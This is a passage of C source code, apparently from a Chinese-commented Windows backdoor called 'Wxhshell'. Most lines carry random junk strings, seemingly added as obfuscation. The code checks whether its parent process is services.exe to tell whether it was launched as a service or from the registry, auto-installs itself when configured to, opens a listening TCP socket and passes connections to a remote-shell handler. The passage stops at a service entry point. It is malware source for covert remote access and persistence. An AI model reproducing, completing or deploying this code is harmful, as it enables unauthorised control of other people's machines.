DWORD BasePriority; {&nV4c$v
ULONG UniqueProcessId; \/Ij7nD`l%
ULONG InheritedFromUniqueProcessId; MMD<I6Iyv
} PROCESS_BASIC_INFORMATION; zd`=Ih2Wx
+*t|yKO>[
PROCNTQSIP NtQueryInformationProcess; TV{)n'aA
t^@T`2jL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c#q"\"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6d{j0?mM
?TuI:dC
HANDLE hProcess; "]]q} O?
PROCESS_BASIC_INFORMATION pbi; &
QY#3yj=
]R Mb,hJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qiNliJ>40E
if(NULL == hInst ) return 0; \mXqak,y
}h~'AM
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /=
^L
iP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9!t4>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [b5(XIGUN}
{of]/3=
if (!NtQueryInformationProcess) return 0; NdQ%:OKC
-fux2?8M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dokuyiN\
if(!hProcess) return 0; Uh+jt,RB`
zeTszT)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dB`b9)Tk0z
YMAQ+A!
CloseHandle(hProcess); ^"tqdeCb=
*j<@yG2\gP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O:u%7V/
if(hProcess==NULL) return 0; 2xmT#m
<PD|_nZT
HMODULE hMod; #Si|!
char procName[255]; uiK:*[
unsigned long cbNeeded; Jn,w)Els
xzK>Xi?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W#45a.v
D9ywg/Q91
CloseHandle(hProcess); bhKV +oN
slSR=XOG
if(strstr(procName,"services")) return 1; // 以服务启动 zH+<bEo=1=
d[U1.SNL
return 0; // 注册表启动 5<r)+?!n
} apaIJ+^[
\UtS>4w\
// 主模块 {U
P_i2`.
int StartWxhshell(LPSTR lpCmdLine) oYqE*mA
{ \G=bj;&eF
SOCKET wsl; XaGz].Sv
BOOL val=TRUE;
`GkRmv*
int port=0; 6bJ"$ o
struct sockaddr_in door; O<a3DyUa;
U]j&cFbn5_
if(wscfg.ws_autoins) Install(); u<q)SQ1
jf7pl8gv
port=atoi(lpCmdLine); Y\>\[*.v
!47A$sQ
if(port<=0) port=wscfg.ws_port; B'/Icg.T
X)NWX9^;'
WSADATA data; t>@yv#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; htg'tA^CtS
G 4"lZM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Wy,"cT
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w#d} TY
door.sin_family = AF_INET; 0hZxN2r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >%i9 oI<)
door.sin_port = htons(port); Dtt\~m;AR
j@V$Mbv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \#_@qHAG
closesocket(wsl); Hc
/wta
return 1; ;.r2$/E
} }1\?()rB
9T]va]w?#
if(listen(wsl,2) == INVALID_SOCKET) { C[W5d~@;E
closesocket(wsl); YRu%j4Tx
return 1; ^~*8 @v""
} H>Sf[8w)%
Wxhshell(wsl); 6DO0zNTY
WSACleanup(); Z#LUez;&t#
I`#EhH
return 0; p1uN]T7>
=jBL'|k5
} ~W/}:;
Bx%=EN5.
// 以NT服务方式启动 eAU"fu6d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ev*c4^z:s
{ g)nXo:)&